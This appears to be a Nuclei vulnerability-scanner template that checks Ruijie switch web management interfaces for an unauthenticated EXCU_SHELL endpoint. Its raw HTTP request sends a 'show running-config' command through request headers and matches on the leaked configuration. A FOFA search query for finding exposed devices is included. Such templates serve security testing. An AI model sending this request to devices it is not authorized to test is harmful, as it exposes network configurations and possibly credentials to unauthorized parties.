id: ruijie-excu-shell

info:
  name: Ruijie Switch Web Management System EXCU_SHELL - Information Disclosure
  author: momika233
  severity: high
  description: |
    Ruijie switch WEB management system is vulnerable to an EXCU_SHELL information disclosure issue, potentially exposing sensitive system information to unauthorized parties.
  reference:
    - https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL
    - https://github.com/ibaiw/2023Hvv/blob/main/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BA%20WEB%20%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20EXCU_SHELL%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="img/free_login_ge.gif" && body="./img/login_bg.gif"
  tags: ruijie,switch,disclosure,misconfig

http:
  - raw:
      - |
        GET /EXCU_SHELL HTTP/1.1
        Host: {{Hostname}}
        Cmdnum: '1'
        Command1: show running-config
        Confirm1: n

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Building configuration"
          - "Current configuration"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402200a46fc91893903be5364a74c6e05b45aa95afbff7f4b50d949f406f6c7319c030220478ca423a52263dffac06f9fbf7ae48de4df2ba099bac21de85515d12a3ec1f2:922c64590222798bb761d5b6d8e72950